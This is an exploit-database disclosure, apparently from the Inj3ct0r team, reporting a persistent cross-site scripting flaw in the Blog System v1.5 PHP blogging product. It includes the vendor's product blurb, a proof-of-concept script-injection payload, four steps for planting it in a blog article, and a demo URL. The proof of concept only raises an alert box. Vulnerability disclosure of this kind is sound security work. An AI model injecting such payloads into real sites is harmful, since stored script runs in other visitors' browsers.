Blog System v1.5 persistenet XSS

================================
Blog System v1.5 persistenet XSS 
================================


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ###################################               1
0                    I'm SONiC member from Inj3ct0r Team               1
1                    ###################################               0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Webapp : Blog System v1.5 persistenet XSS  
Vendor URL : http://www.netartmedia.net/blogsystem/index.html
#######################################################################################################


Author : ..::[ SONiC ]::.. aka ~the_M4LW4r3~ <sonicdefence[at]gmail.com>

Special thanks to : Sid3^effects,r0073r (inj3ct0r.com),L0rd CruSad3r,M4n0j,MA1201,D3aD F0x,Nishi,Bunny,CURS3D,SeeME

Greetz to :iNj3cT0r.com, www.andhrahackers.com

#######################################################################################################


Description : 

Blog System is the world's leading blog hosting solution available on the market. With Blog System you could have your own customized and powerful multilanguage blog portal in a few hours, you'll have full control over the whole system and your bloggers will benefit from an user friendly interface with plenty of features allowing them to create and maintain great looking blogs. In order to run a blog portal with it, you don't need your own dedicated server but just an ordinary shared hosting package supporting PHP and MySQL. Blog System offers very rich functionality for the blog users to update and customize their blogs (add notes, comments, upload pictures and create photo albums, customize the blog look with dozens of templates and backgrounds, create lists, upload audio and video files and many, many others) and for the administrators to monitor and control the whole system (monitor the users, the space occupied and the bandwidth of the blogs, put advertisements on the user blogs, manage the website structure and content with a powerful CMS and many others. 

###############################################################################################################

Exploit:


XSS : Attack Pattern : "><script>alert("w00t")</script>

Step 1 : Register 

Step 2 : Now add your article 

Step 3 : Now insert your xss script :) 

Attack Pattern : "><script>alert("w00t")</script>

Step 4 : Now go and check your blog 

Demo URl For POC : http://demo.blog23.com/ :P

###############################################################################################################

# ..::[ SONiC ]::.. aka the_M4LW4R3



#  0day.today [2018-01-05]  #